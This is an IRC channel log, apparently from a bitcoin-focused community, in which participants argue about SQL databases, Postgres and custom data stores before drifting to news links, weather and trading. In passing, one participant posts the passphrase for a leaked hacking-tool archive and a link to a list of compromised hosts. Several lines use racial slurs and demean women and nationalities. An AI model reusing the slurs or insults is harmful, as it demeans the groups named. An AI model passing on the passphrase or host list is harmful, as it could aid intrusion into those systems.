1641430;1491842118;trinque;still stand there. 1641431;1491842266;phf;well, right, but you're not going to learn how to db by ~running~ databases. the whole "db" thing is an illusion anyway. rtrees, btrees, indexes, locking mechanisms, mvcc are all concrete algorithms, that you can implement in an adhoc manner for your task at hand and actually see how they work and what they do. 1641432;1491842343;asciilifeform;as it is, sql db is a very effectively opaque black box, full of liquishit, that reliably generates full employment for millions of 'perlists' who memorized the trivia. 1641433;1491842344;phf;allegro cache is actually a lot closer to how btcbase does it, than the postgresql way. internally the two are very different. if you treat both as "a database" you're not going to learn anything 1641434;1491842369;trinque;no disagreement there. 1641435;1491842589;phf;another alternative to doing the sql way is column stores (as an aside allegro cache is really more of a column store), where something like kdb is going to be a reference (the apl approach to databasing in general, of mmaping files with fixed size entries that you can offset into). 1641436;1491842610;asciilifeform;sql is a car with a gas and break pedal for each wheel. 1641437;1491842631;asciilifeform;imho life is too short to use it to study such a thing. 1641438;1491842639;asciilifeform;*brake 1641439;1491842640;trinque;I would like to hear of the large firm that did their accounting on another type of db. 1641440;1491842646;trinque;sincerely. 1641441;1491842672;asciilifeform;trinque: i linked to an auto parts shop that does accounting on commodore64 last year... 1641442;1491842685;asciilifeform;and the year before that -- somebody who used... hypercard 1641443;1491842693;*;trinque sighs 1641444;1491842701;asciilifeform;hey, trinque asked!111 1641445;1491842701;trinque;they don't have a billion of anything 1641446;1491842707;asciilifeform;probably not. 1641447;1491842739;asciilifeform;but sure, sql is 'industry standard'. so is -- winblows. 1641448;1491842753;asciilifeform;it is genuinely the worst possible argument in support of anything. 1641449;1491842775;trinque;no, consider the bundle of questions that enterprise (oil firm, whatever) must ask itself on an ongoing basis 1641450;1491842788;trinque;over *massive* dataset which *is* relational regardless of the db you choose 1641451;1491842820;trinque;that is the standard, not some piece of software 1641452;1491842830;phf;talk about political 1641453;1491842832;asciilifeform;if your operation seriously relies on the db, it implements custom db, from scratch, like the hft trading folks do. 1641454;1491842853;trinque;phf: the data is political?? 1641455;1491842891;trinque;asciilifeform: ~whole point~ is what the implemented item would look like 1641456;1491842898;trinque;what problems do you encounter at that scale 1641457;1491842903;asciilifeform;it won't look like sql. 1641458;1491842906;phf;trinque: you've asked a question, that i was about to answer, but it turned out to be a rhetorical question, that you then used as a platform to make a political point, yes 1641459;1491842910;trinque;SQL is a language 1641460;1491842913;asciilifeform;because the flexibility has a price. 1641461;1491842933;trinque;phf: ah, then wasn't my intention 1641462;1491842936;trinque;go ahead, answer 1641463;1491843024;trinque;my point was that the customer for the item has these requirements; what does the item which satisfies them begin to resemble? 1641464;1491843033;phf;and you're wrong as far "everyone uses sql11". merril lynch is famous for storing massive datasets in kdb. deutsche bank uses kdb as well as a handful of other datastores (i have some knowledge here), also two of the banks that i consulted for used object stores. that's just the projects that i consulted 1641465;1491843050;trinque;phf: I didn't claim everybody uses SQL 1641466;1491843068;trinque;I claimed that they will satisfy all the requirements by whichever means they choose 1641467;1491843093;asciilifeform;trinque: this seems tautologically true; it doesn't tell us much 1641468;1491843101;phf;most of them ~also use sql~. but likewise there's no such thing as "the database" there's also no such thing as "the database company uses to store its data". banks typically have 50-100 different large data stores, that serve different purposes 1641469;1491843142;phf;but the reason that they don't all use sql, is because sql is really bad for certain narrow kinds of tasks and suboptimal for a slightly larger set of tasks 1641470;1491843190;phf;anything involving real time data, anything involving time series, anything involving datasets > 100mil 1641471;1491843224;phf;but on the other hand also anything involving objects of non-trivial topology (that's where you want object stores) 1641472;1491843236;trinque;so we agree that this thing called "database" is really distinct tools which some idiot welded together 1641473;1491843266;trinque;say atomic writes on a filesystem, transactional versioning atop that, ... 1641474;1491843455;trinque;or referential integrity, indispensable for bitcoinating 1641475;1491845182;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/KAp0s/?raw=true 1641476;1491845182;jhvh1;shinohai: The operation succeeded. 1641477;1491847006;trinque;http://btcbase.org/log/2017-04-10#1641468 << what ends up being the problem in an environment with this many data stores? 1641478;1491847006;a111;Logged on 2017-04-10 16:51 phf: most of them ~also use sql~. but likewise there's no such thing as "the database" there's also no such thing as "the database company uses to store its data". banks typically have 50-100 different large data stores, that serve different purposes 1641479;1491847025;trinque;I'll tell you; the glue between them by weight comes to dominate 1641480;1491847085;trinque;(he's going to claim I'm arguing for ubiquitous SQL again and miss the point) 1641481;1491847423;phf;what ~is~ the point you're trying to make? you say things, i address them, you immediately move on to some other point 1641482;1491847484;shinohai;The only way to truly settle this matter is with swords. 1641483;1491847504;trinque;phf: I'm having the same experience over here! 1641484;1491847546;*;trinque will re-engage this in a bit 1641485;1491847556;phf;trinque: ~what is the point you're trying to make~ 1641486;1491848013;*;asciilifeform also puzzled 1641487;1491848142;Framedragger;very unrelated old story for good humour in the forum: https://thedailywtf.com/articles/Special-Delivery 1641488;1491848148;trinque;http://btcbase.org/log/2017-04-10#1641431 << that this is wrong, and letting data access patterns ~between distinct algorithmic components of your system~ be built in ad-hoc manner destroys fits-in-head for the entire system 1641489;1491848148;a111;Logged on 2017-04-10 16:37 phf: well, right, but you're not going to learn how to db by ~running~ databases. the whole "db" thing is an illusion anyway. rtrees, btrees, indexes, locking mechanisms, mvcc are all concrete algorithms, that you can implement in an adhoc manner for your task at hand and actually see how they work and what they do. 1641490;1491848160;trinque;I can't sit down with something like that and ask it ANYTHING 1641491;1491848167;trinque;because I'll be here for years creating glue 1641492;1491848173;trinque;that is a statement of the ~problem 1641493;1491848193;trinque;and not a statement of any particular solution 1641494;1491848226;trinque;the database as (extremely poorly) implemented by sql rdbms is a generalization of the glue 1641495;1491848360;lobbes;But re: fits in head. Isn't phf's/alfs argument that you cannot really even audit said generalized glue? 1641496;1491848434;trinque;you have to be able to audit *two* things; the code, and the data, and independently 1641497;1491848448;trinque;the guy who loves hard theory is going to claim the latter always derives from the former 1641498;1491848456;trinque;the manager says... sure buddy 1641499;1491848557;lobbes;I do come from the 'let the data speak for itself' school, so that makes sense to my limited understanding 1641500;1491848644;phf;the "glue" point is a strawman, because you don't know how i write my code. as far as problem/solution though 1641501;1491848685;phf;writing out each one of those concerns separately will teach you how to do it (or whether it can even be done, like with "atomic file system") 1641502;1491848708;phf;but i don't think that working with a black box of rdbms will 1641503;1491848817;phf;yes, you can't sit down with a collection of independent algorithms combined in a specific way and use it in a different way without writing extra code, but that's what repl is for 1641504;1491848984;phf;ok, i guess we both know what the problem is. my solution is "study db related algorithms until you know enough to write a db", your solution, unless i misunderstand, seems to be "use an existing database a lot". i don't understand how learning, say, postgresql will get you from not knowing anything about db internal design to writing your own 1641505;1491849034;trinque;I'm sure I've said SQL dbs are terrible a hundred times now. 1641506;1491849042;trinque;and not to use them 1641507;1491849071;trinque;asciilifeform did, so I didn't mind trying to help with that car wreck, having been in plenty of them myself 1641508;1491849111;trinque;I don't criticize that he used it; I do all the time for lack of alternative which has the properties I want 1641509;1491849123;trinque;and I agree with phf that my recourse is to write the thing I want 1641510;1491849148;trinque;neither asciilifeform nor I did in particular cases due to practical tradeoffs of taking that time 1641511;1491849413;trinque;the things pg did exceptionally well never come up in the "omg db sux" thread 1641512;1491849455;trinque;and I'd question the ability of anyone to replace it who didn't bother with that list of things which has fuck all to do with SQL 1641513;1491849819;asciilifeform;the things winblows does exceptionally well also ~never come up in discussions by sane folx. 1641514;1491849858;trinque;yep, I'm out of this thread. 1641515;1491849866;asciilifeform;and my contention is that 'replacing sql' is guaranteed to fail, the problem it solves is intrinsically braindamaged. 1641516;1491850039;phf;in db sucks threads you necessarily talk about pain points. i don't think ~anybody~ here disputes that postgresql is a solid piece of engineering 1641517;1491850517;phf;i'm not sure it's worthwhile to fetishize that quality either. if you attempt to write a db from scratch, postgresql internals is not the first place to look. 1641518;1491850783;phf;but i don't think you're even talking about cracking open the covers? so what does the knowing of these "exceptionally well" things entail? 1641519;1491851726;trinque;what'd you expect as a response to that first bit? 1641520;1491851800;trinque;whole point having been that there are useful items in there that all got welded together 1641521;1491851819;trinque;pg's versioned on-disk heap could've held trees as well as rows, eh? 1641522;1491851823;trinque;and in fact does; that's how the versioning works 1641523;1491851832;trinque;later versions pointing upward to previous 1641524;1491851950;asciilifeform;in other lulz : https://archive.is/orEsB : 'Nick Mead, 55, discovered the five gold bars in the Russian T54/69 while restoring it to add to his collection of 150 military vehicles. He and mechanic Todd Chamberlain were filming themselves prising open the diesel tank in case they found munitions and needed to show it to bomb disposal crews. ... Instead, they pulled out the bars, weighing up to 12lb — 5kg — apiece.' and, wtf, '... 1641525;1491851950;asciilifeform;After calling police, two officers took away the bars and gave them a receipt. ... A Northamptonshire Police spokesman said they could not comment “for operational reasons”.' 1641526;1491852113;asciilifeform;meanwhile, elsewhere in the glorious monkey empire, https://archive.is/meEGA : 'A doctor trying to return home to his patients was dragged by his hands from an overbooked United Airlines (UAL.N) flight... Video of the incident posted to Twitter account @Tyler_Bridges shows three security officers huddling over the seated passenger, who appears to be an older Asian man, before dragging him on the floor.' 1641527;1491852152;trinque;pointedly, where's my transactional, versioned, fault tolerant, *persistent* lisp system? 1641528;1491852198;trinque;where disk is not some idiotic file storage but merely an implementation detail of persistence of memory 1641529;1491852315;phf;well, that wasn't a rhetorical question, i was interested. so the second question remains, what does knowing entail in this case 1641530;1491852478;trinque;the re-implementor of modern computing doesn't dispense with these as "you didn't really need that" 1641531;1491852566;phf;that still doesn't answer my question, but the question is at the core of my point. you don't read existing implementations, you don't attempt to write new implementations, you're ~using~ a system that does these things for you. so what is ~knowing~ in this case. 1641532;1491852648;trinque;I've both read postgresql source, several other db turds, written own, extended pg and mucked about heavily in internals 1641533;1491852668;asciilifeform;in other lulz - https://archive.is/us9d8 -- purportedly - 'Decrypted content of eqgrp-auction-file.tar.xz' , 'Passphrase: CrDj"(;Va.*NdlnzB9M?@K2)#>deB7mN' 1641534;1491852717;phf;trinque: well, then why not say it when i asked if you were talking about crackign open the source code? now i actually think that you're lying 1641535;1491852733;trinque;I described how the thing writes rows to disk. 1641536;1491852883;trinque;about done having my character attacked by this guy. 1641537;1491852895;shinohai;https://arstechnica.com/security/2017/04/booby-trapped-word-documents-in-the-wild-exploit-critical-microsoft-0day/ 1641538;1491852948;phf;but that's a roundabout way, and you could just read about it in a blog. if the position is that "we should study postgresql source code extensively, as a necessary prerequisite to writing our own database", then i would agree with you, but that doesn't seem to be what you're saying 1641539;1491852972;trinque;I could quote myself several times in this thread saying exactly that. 1641540;1491852977;phf;please do 1641541;1491852978;trinque;I'm done speaking with you. 1641542;1491853084;phf;if anybody else can find a trinque quote that says an equivalent of http://btcbase.org/log/2017-04-10#1641538 i will apologize, otherwise i guess this stands. 1641543;1491853084;a111;Logged on 2017-04-10 19:35 phf: but that's a roundabout way, and you could just read about it in a blog. if the position is that "we should study postgresql source code extensively, as a necessary prerequisite to writing our own database", then i would agree with you, but that doesn't seem to be what you're saying 1641544;1491853533;asciilifeform;fwiw i still don't grasp what trinque was disagreeing with phf about. 1641545;1491853535;trinque;you made the assumption that when I was speaking of the things merits, I was speaking of what, the lever you pull and not what it actuates? 1641546;1491853537;trinque;phf: ^ 1641547;1491853556;trinque;you did that aiming to pin me on something easily argued 1641548;1491853619;trinque;that running forward with a bare assumption and then spending the whole thread trying to smash opponent into it has been the rule with you 1641549;1491853733;phf;you clearly have some twisted issues related to me. ~that was not my intent~. ~i genuinely think that you were speaking of pulling levers~ ~because there's nowhere in the thread where you attempted to dissuade me of my notion~ 1641550;1491853753;phf;that's why i asked you point blank if you're talking about reading code, omg 1641551;1491853832;phf;if that was such an obvious assumption, then why evade addressing it? that would've saved the whole thread! my assumption was ~very obvious~ as you yourself state ~all through the thread~, because ~that's what i assumed~ 1641552;1491853846;trinque;I'm not defending every fucking "OP is a redditard" you throw at me 1641553;1491853902;phf;then why speak to me at all? i was arguing in good faith, as an attempt to move on from our previous alteration 1641554;1491853961;phf;apparently that's not how they do things down south. once a grudge always a grudge. fine. we can agree not to talk to each other at all, nor mention each others names. i was sticking to that policy, and it worked fine for me. good day. 1641555;1491854198;asciilifeform;meanwhile, owned boxes list extracted from earlier: http://wotpaste.cascadianhacker.com/pastes/gO3io/?raw=true 1641556;1491854205;asciilifeform;mircea_popescu et al ^ 1641557;1491854230;asciilifeform;( or for anyone else with good logging on his boxes and a strong sense of lol ) 1641558;1491854340;asciilifeform;https://archive.is/HDN6Y << seems to be the ~same thing, organized by orifice type 1641559;1491854351;asciilifeform;Run Moar Slowaris 1641560;1491854372;asciilifeform;i386-pc-sco3.2v5.0.5 << apparently someone, somewhere! (in a cave?!) 1641561;1491854404;trinque;phf: one thing they don't do is speak for the other, then proceed from there as if it'd been said 1641562;1491854422;trinque;probably about as southern as it gets, that one 1641563;1491854456;trinque;and I don't see that you get much "culture of honor" without it 1641564;1491859509;lobbes;In unrelated lulz, american consumerism moves ever closer to its apex: http://m.imgur.com/Npg7IWR 1641565;1491859851;CompanionCube;lobbes: eh, if people want to buy it 1641566;1491859867;CompanionCube;besides, plush pillows are normally good for cuddling when you want to 1641567;1491864158;shinohai;https://twitter.com/VitalikButerin/status/851307750495801348 "I'd rather have a consensus failure every year than intense constant bickering." 1641568;1491864191;asciilifeform;wtf is a 'consensus failure' ? 1641569;1491864320;ben_vulpes; "just remember you can't take your words back, these aren't Ethereum transactions" 1641570;1491864330;mircea_popescu;you know, when trump gets elected. when the niggers who figured they were gonna use "consensus" to get the delicious chicken fail to get the delicious chicken. 1641571;1491864341;mircea_popescu;"failed to do what we wanted it to do dammit" 1641572;1491864427;asciilifeform;what's it called when trump hands them the delishious-syrian-chicken after all ? 1641573;1491864447;mircea_popescu;i dunno, remedial of consensus failure ? 1641574;1491864471;asciilifeform;reorg!111 1641575;1491864493;mircea_popescu;algo asi. 1641576;1491864581;*;shinohai imagines Vitalik reading the logs an thing mircea_popescu meant `Asi` is a new groundbreaking algorithm ..... 1641577;1491864596;shinohai;s/thing/thinking/ 1641578;1491864669;mircea_popescu;lol 1641579;1491865059;BingoBoingo; In unrelated lulz, american consumerism moves ever closer to its apex: http://m.imgur.com/Npg7IWR << I have seen those for sale at my local "Circle K" 1641580;1491865061;deedbot;http://qntra.net/2017/04/altcointradingbot-io-is-very-sorry-for-your-loss/ << Qntra - Altcointradingbot.io Is Very Sorry For Your Loss 1641581;1491865100;mircea_popescu;http://btcbase.org/log/2017-04-10#1641325 << this sounds like a horribru locking job. 1641582;1491865100;a111;Logged on 2017-04-10 15:25 asciilifeform: lol, thousand 'postgres: phuctor phuctor [local] SELECT' processes zombieing 1641583;1491865133;BingoBoingo;* shinohai imagines Vitalik reading the logs an thing mircea_popescu meant `Asi` is a new groundbreaking algorithm ..... << Ass Sort Integrals, some very deep "Ito calculus" 1641584;1491865147;mircea_popescu;o brother. you were here for the ito experts huh. 1641585;1491865161;asciilifeform;mircea_popescu: i have it running instrumented presently, soon will see why zombies. 1641586;1491865170;BingoBoingo;lol, poor usagi was a great outcome 1641587;1491865209;asciilifeform;was 'ito calculus' authored by same 'genius' as 'igonvalue' ? 1641588;1491865220;mircea_popescu;incidentally, for all the ulterior leonization, the actual wild west was very much like this : buncha children captive in adult bodies trying to cope. 1641589;1491865283;mircea_popescu;asciilifeform https://pastebin.com/mKui8iHr 1641590;1491865285;mircea_popescu;ancient lulz. 1641591;1491865345;BingoBoingo; o brother. you were here for the ito experts huh. << Nah, came for the drinks, stayed for the revolution. 1641592;1491865390;BingoBoingo; was 'ito calculus' authored by same 'genius' as 'igonvalue' ? << I see "ito calculus" as catchall for weaponized labels of Usagidiocy type 1641593;1491865399;asciilifeform;oh hah it turns out to actually have existed, somewhere 1641594;1491865405;asciilifeform;attempts to model brownian motion. 1641595;1491865411;*;asciilifeform puts on conveyor 1641596;1491865412;mircea_popescu;http://btcbase.org/log/2017-04-10#1641343 << ahahaha 1641597;1491865412;a111;Logged on 2017-04-10 15:43 danielpbarron: phuctory reset 1641598;1491865445;mircea_popescu;asciilifeform it's a narrow interest item, perfectly respectable in its niche. as bb says, ended up being a sort of shorthand for internet expert in here because randos and history. 1641599;1491865465;asciilifeform;actually pertinent to my current kick, even. 1641600;1491865484;asciilifeform;( models of bad rngs, such as shitoshi's ) 1641601;1491865487;mircea_popescu;fwiw, math finance goes through one of these every 3-4 years (ie, every time a new crop of collegiate tards ends up dominating the hiring pool) 1641602;1491865502;mircea_popescu;was "gauss copula" for a while famously. was a buncha things, i have notes somewhere. 1641603;1491865524;*;asciilifeform is not and has not ever been employed as an astrologer, cannot comment usefully 1641604;1491865870;mircea_popescu;http://btcbase.org/log/2017-04-10#1641354 << this is an iffy discussion. trilema does very little backend but more front end. phuctor the reverse. i think they're very complementary wrt the load type. 1641605;1491865870;a111;Logged on 2017-04-10 15:53 asciilifeform: nah that'd be trilema 1641606;1491865906;mircea_popescu;as asciilifeform correctly points out, there's not THAT much of a deal to insert an article once a day / a comment once an hour and otherwise serve reads. 1641607;1491865948;mircea_popescu;http://btcbase.org/log/2017-04-10#1641360 << they didn't laugh, they were taken aback at the magic. 1641608;1491865948;a111;Logged on 2017-04-10 15:57 phf: they laughed at me when i said btcbase doesn't use a database, who's laughin now 1641609;1491866012;mircea_popescu;http://btcbase.org/log/2017-04-10#1641366 << lmao i take it this supply of zingers will last a while. 1641610;1491866012;a111;Logged on 2017-04-10 16:03 phf: trinque is the resident psql guru, he managed to wire his 50 request lisp process to a postgresql database 1641611;1491866060;mircea_popescu;http://btcbase.org/log/2017-04-10#1641370 << it all revolves on whether the $item is fundamental or not. if it's fundamental -- not inhuman to make him study, inhuman to allow him to squeak past without studying. 1641612;1491866060;a111;Logged on 2017-04-10 16:07 phf: tmsr work is primarily defined by its voluntary nature, if i had to do things same way i do it at the office i wouldn't bother. ascii doesn't know intricacies of psql from his day job, and i think it's cruel and inhuman to make him study psql ~as part of tmsr work~. it's not the kind of know how you get to learn by sitting down with a cup of tea and a large printout.. 1641613;1491866073;mircea_popescu;but if not fundamental, yes inhuman. 1641614;1491866194;mircea_popescu;http://btcbase.org/log/2017-04-10#1641374 << this is a perfectly reasonable view, and it'd carry were it not be tinged by a history of asciilifeform on occasion producing overgeneral statements not because he ran against design constraints of the space but because he ran against mental constraints of his own. 1641615;1491866194;a111;Logged on 2017-04-10 16:15 phf: ascii actually can criticize postgresql from the position of understanding. knowing intricacies of psql is not knowledge (rtrees, caching, etc.), it's trivia ("you have to turn lever 3 and depress button Y"). ascii knows what he needs to express, but he can't express it directly, because he's running against architectural constraints of his tool. from that perspective a general "databases are shit" is an entirely valid perspective. 1641616;1491866262;*;asciilifeform did, ftr, end up descending into the darkest depths of his chamber of pain and cracking a b00k, with the aim of determining -- which. this op has not yet returned. 1641617;1491866271;mircea_popescu;http://btcbase.org/log/2017-04-10#1641378 << you now have cold sores. can either bitch about it or... wait for them to pass ? 1641618;1491866271;a111;Logged on 2017-04-10 16:17 trinque: can either bitch like a woman or fix the pain now and also move off later 1641619;1491866282;mircea_popescu;asciilifeform i did same, also not yet returned. 1641620;1491866447;mircea_popescu;in unrelated news : me goes into shop where girl has bought nice shot glasses to buy shot glasses. "do you have these in a box ?" "yes" "how many in the box ?" "uhh..." nicaraguan chick is very much willing to be picked up but has nfi how many shot glasses in 3x4 case. 1641621;1491866460;mircea_popescu;"15". "usure ?" "uh..." "it's 12" she counts... 12. 1641622;1491866479;mircea_popescu;then... she doesn't know how much for the dozen. if they're 400 each then 12 is... 3600... 1641623;1491866517;asciilifeform;mircea_popescu described argentines as borderline tards but i don't recall hearing a story like this about them... 1641624;1491866545;mircea_popescu;i never saw unmath this bad aside of us college educated girls. 1641625;1491866548;asciilifeform;cr must be near the peak of the equator's stupification field 1641626;1491866560;mircea_popescu;chick was imported though. 1641627;1491866569;mircea_popescu;and nicaragua is... let's say only fit for fauna. 1641628;1491866577;mircea_popescu;40 degrees with 90% humidity sorta deal. 1641629;1491866597;*;asciilifeform misread '90% humanity' 1641630;1491866608;mircea_popescu;lol 1641631;1491866619;mircea_popescu;the humidity is the killer. 1641632;1491866639;asciilifeform;it's one of the worst things in dc, it is 1641633;1491866668;mircea_popescu;even in buenos aires, of every 10kw the ac ate, 7 to 8 made water. 1641634;1491866671;asciilifeform;asciilifeform once switched planes in panama and ( it had outdoor walk, instead of the customary human pipe ) thought 'just like home' 1641635;1491866737;mircea_popescu;btw -- i have no ac here. the girls are naked indoors. it's fabulous. 1641636;1491866739;asciilifeform;i do know that there are places where the air is hot and ~dry~, and ac has no drain pipe -- but never yet been there. 1641637;1491866740;ben_vulpes;i rather dislike "conditioned" air 1641638;1491866749;mircea_popescu;ben_vulpes aha. me too. 1641639;1491866759;asciilifeform;ben_vulpes: i always wished there were such a thing as an ac with a throttle 1641640;1491866760;ben_vulpes;too dry, doesn't have the nasty taste of reality 1641641;1491866764;mircea_popescu;asciilifeform that'd be egypt for instance. 1641642;1491866769;shinohai;Now you can just have naked girls fan you mircea_popescu - win-win! 1641643;1491866770;asciilifeform;summer for asciilifeform is an alternating 10min of 'hot' and 'cold' 1641644;1491866776;mircea_popescu;it rained once while i was there. took 5 minutes, most of the water was gone before touching soil. 1641645;1491866789;mircea_popescu;shinohai i'm not even hot, it's pleasant. 1641646;1491866844;ben_vulpes;asciilifeform: why the hysteresis? 1641647;1491866852;mircea_popescu;asciilifeform you could get your ac connected to the water pipe -- like the fridges with built in ice maker. 1641648;1491866856;shinohai;It's 83 degrees on my patio and sun is going down 1641649;1491866896;ben_vulpes;dang 1641650;1491866901;asciilifeform;mircea_popescu: what would that do ? if you cool the air, and lower the dew point, not even garden hose will make it hold any more water than remained in it after the cooling 1641651;1491866903;ben_vulpes;pac nw is still extricating itself from winter 1641652;1491866923;mircea_popescu;asciilifeform save on electricity through spraying it in finely i think ? not sure, never took one apart. 1641653;1491866928;trinque;77 out; I was promised warming apocalypse 1641654;1491866934;trinque;best april we've had in recent memory 1641655;1491866942;asciilifeform;mircea_popescu: many folx here have a 'humidifier', separate gadget 1641656;1491866958;asciilifeform;humidifier + ac is disaster though, damp everywhere. 1641657;1491866966;asciilifeform;for the reason described earlier. 1641658;1491866974;mircea_popescu;i was there in winter, so not much call for anything of the sort. 1641659;1491866987;ben_vulpes;schizophrenic weather gods will continue with the increasingly bipolar weather until the humans die off adequately to restore ecological sanity 1641660;1491867055;mircea_popescu;http://btcbase.org/log/2017-04-10#1641396 << well, solved problem in sql since a while back. 1641661;1491867055;a111;Logged on 2017-04-10 16:25 asciilifeform: trinque ^ this is both true and imho a serious problem 1641662;1491867159;mircea_popescu;http://btcbase.org/log/2017-04-10#1641421 << ahahaha. 1641663;1491867159;a111;Logged on 2017-04-10 16:31 asciilifeform: i have actual work to do, and do not have time to babysit the process all day, every day. 1641664;1491867167;mircea_popescu;now you know how "www engineer" became a thing. 1641665;1491867213;mircea_popescu;http://btcbase.org/log/2017-04-10#1641422 << take it easy m'lord, jus' needs a little time. 1641666;1491867213;a111;Logged on 2017-04-10 16:31 Framedragger: ok this is ridiculous, i'm done 1641667;1491867241;asciilifeform;www engineer << at one point there were furnace stokers, also. 1641668;1491867256;mircea_popescu;actually the english word engineer denotes furnace stoker. 1641669;1491867268;asciilifeform;( on train they were even called, in english-speaking world, engineers!! ) 1641670;1491867272;asciilifeform;lol 1641671;1491867285;mircea_popescu;unlike the french word ingenieur, for instance. which comes from genius, or whatever, ingenuity 1641672;1491867403;ben_vulpes;i'll take ingenues over ingenieurs any day 1641673;1491867436;mircea_popescu;i bet. 1641674;1491867471;mircea_popescu;http://btcbase.org/log/2017-04-10#1641431 << there are some advantages to having a standard package of these things everyone uses (this is called maturity) and no serious drawback to calling that package "a database". 1641675;1491867471;a111;Logged on 2017-04-10 16:37 phf: well, right, but you're not going to learn how to db by ~running~ databases. the whole "db" thing is an illusion anyway. rtrees, btrees, indexes, locking mechanisms, mvcc are all concrete algorithms, that you can implement in an adhoc manner for your task at hand and actually see how they work and what they do. 1641676;1491867471;asciilifeform;https://youtu.be/tnnCHmSJpg4?t=4m9s << see also oblig. 1641677;1491867481;asciilifeform;( good film btw . ) 1641678;1491867553;ben_vulpes;sweet chevy 1641679;1491867631;asciilifeform;mircea_popescu: problem is, 'database' as commonly seen in sqlworld is not 'collection of btrees, rtrees, etc.' in encyclopaedic algorithmic form, but a misbegotten attempt at ai. 1641680;1491867644;mircea_popescu;http://btcbase.org/log/2017-04-10#1641436 << and yet this is exactly how multi-engine airplanes work. 1641681;1491867644;a111;Logged on 2017-04-10 16:43 asciilifeform: sql is a car with a gas and break pedal for each wheel. 1641682;1491867649;asciilifeform;which purports to choose a one-size-fits-all set of algos for a given data bag. 1641683;1491867663;trinque;http://btcbase.org/log/2017-04-10#1641520 1641684;1491867663;a111;Logged on 2017-04-10 19:16 trinque: whole point having been that there are useful items in there that all got welded together 1641685;1491867673;mircea_popescu;asciilifeform this, i am aware. but i suspect the "concept of db" trinque defends is "here is the set of definitive -- because mature -- things that handle data ; fucking use it". 1641686;1491867674;trinque;^ not coming across is why the thread was ridiculous 1641687;1491867695;mircea_popescu;not the nonsensical "oh, paperclip!" microsoft access / lotus 1-2-3 / novell bs approach 1641688;1491867714;asciilifeform;trinque: i entirely agree re above -- there could be such a thing as 'reusable encyclopaedia of data structures'. problem is, it dun exist yet. 1641689;1491867721;trinque;aha. 1641690;1491867723;asciilifeform;it ~will~ exist, as a vtronic item. 1641691;1491867731;mircea_popescu;well, alfie, there could ALSO EXIST SUCH A THING AS A PROGRAMMABLE COMPUTER 1641692;1491867731;trinque;double-aha. 1641693;1491867734;mircea_popescu;now guess what the problem is. 1641694;1491867741;shinohai;lolz 1641695;1491867744;mircea_popescu;heh. 1641696;1491867774;asciilifeform;would be a mighty fine thing, indeed. 1641697;1491867800;mircea_popescu;you're both welcome now shake hands and stop being so pissy all the time. life's too square and my fruit salad too good to waste suchly! 1641698;1491867825;trinque;lol. you got it boss. 1641699;1491867862;*;shinohai still wants to see a sword duel, failing that. 1641700;1491867947;mircea_popescu;anyone saw liz taylor playing a jew ? 1641701;1491867961;mircea_popescu;(ivanhoe. great film. there's trial by combat!) 1641702;1491868239;mircea_popescu;http://btcbase.org/log/2017-04-10#1641453 << the hft trading folk are about as dumb as the "serious www publishing folk". the "implement from scratch" thing is a fiction, there to justify insane and unjustifiable expense. exaclty how and exactly why any third hand "outside consultant" in third world sells random dopes on "whole new cms!!11" for their "project" so it is "for srs professional". 1641703;1491868239;a111;Logged on 2017-04-10 16:47 asciilifeform: if your operation seriously relies on the db, it implements custom db, from scratch, like the hft trading folks do. 1641704;1491868257;mircea_popescu;but in truth and behind the scene it's 100% code reuse in the most "found on forum and pasted in" manner. 1641705;1491868269;mircea_popescu;i am aware this sounds incredible. it's factual. 1641706;1491868292;mircea_popescu;about half the "pro" trading houses do about half of their trading on the basis of poorly understood and badly maintained excel spreadsheets. 1641707;1491868294;mircea_popescu;on it goes. 1641708;1491868301;asciilifeform;mircea_popescu: whether or not the 'nanosecs matter and we write it in asm' hft traders are real -- or mythical -- i do not know. but if hft worked the way it is purported to work, they ought to exist. 1641709;1491868326;mircea_popescu;asciilifeform same relationship as between script kiddie and trojan writers 1641710;1491868330;mircea_popescu;yes, someone somewhere wrote the asm 1641711;1491868337;mircea_popescu;then someone piled a java machine on top of that. 1641712;1491868350;asciilifeform;( it they do not exist, it is then a piece of evidence in favour of 'hft does not actually exist, you cannot actually make any money by undercutting by nanosecond ' ) 1641713;1491868353;asciilifeform;*if 1641714;1491868370;mircea_popescu;it's a complicated discussion to carry in those terms. 1641715;1491868380;mircea_popescu;essentially speaking, front running is a natural crown monopoly, like hunting. 1641716;1491868420;mircea_popescu;how exactly this is disbursed, whether you need rifle to hunt and then crown taxes rifles, ie, through a technically mediated barrier, or purely conventional, is not properly speaking a technical discussion. 1641717;1491868428;asciilifeform;the people paying megabux for cage near nyse, nasdaq, either exist or are product of elaborate disinfo. if the former, it would make sense for them to carry out the -- comparatively inexpensive -- software optimization prior to buying $mil cage. 1641718;1491868449;mircea_popescu;the people paying themselves megabux aren't going to be doing for the reason they told you they did it. 1641719;1491868462;asciilifeform;now i could easily picture 'crown tax is so high, only imbecile hapsburg can afford it, so no optimize' 1641720;1491868510;mircea_popescu;asciilifeform picture this : if tomorrow north korea came up with superlight hft method and tried to apply it... suddenly front running would be simply illegal. 1641721;1491868522;asciilifeform;( in combination with 'it dun matter if you make it 5ns faster, packets from goldman sachs still take magical priority on the other end, For Reasons' ) 1641722;1491868533;asciilifeform;aha. 1641723;1491868566;mircea_popescu;so, with some regret, i will confess that no, high finance doth not qualify as that place where they have real software (tm). 1641724;1491868576;mircea_popescu;au contraire, you'd be petrified what they run on. 1641725;1491868578;asciilifeform;that makes for at least 2 publicly-known designated-winners-losers equivalence classes. probably there are more. 1641726;1491868587;mircea_popescu;and no, the excel mentiuon was not a throwaway joke. it is factual reality, even today. 1641727;1491868616;asciilifeform;in what sense could a system that runs on excel etc. be described as 'high frequency' ? 1641728;1491868621;asciilifeform;can you even get 1Hz out of it ? 1641729;1491868631;mircea_popescu;ah no, separate concerns. 1641730;1491868652;mircea_popescu;i didn't propose they run the hft over excel 1641731;1491868666;asciilifeform;and for what does jane street co. hire ml, lisp, etc. programmers ? 1641732;1491868674;mircea_popescu;random. 1641733;1491868688;mircea_popescu;that's the problem of wastage in opaque faux capitalism. 1641734;1491868693;mircea_popescu;you get hired randomly. 1641735;1491868711;trinque;the accountant fellow I mentioned, for $100mil scale oil contract compliance, also excel macros. 1641736;1491868742;mircea_popescu;heh. 1641737;1491868750;trinque;might be a feature (TM) (R) 1641738;1491868761;asciilifeform;trinque: i wonder how much of this is from a cargo-cult preference for 'what programmer monkeys WOULDN'T use' 1641739;1491868779;asciilifeform;'send in a code nigger, if he barfs, our system is proper' 1641740;1491868779;mircea_popescu;from what i could discern, it's because of familiarity bias. 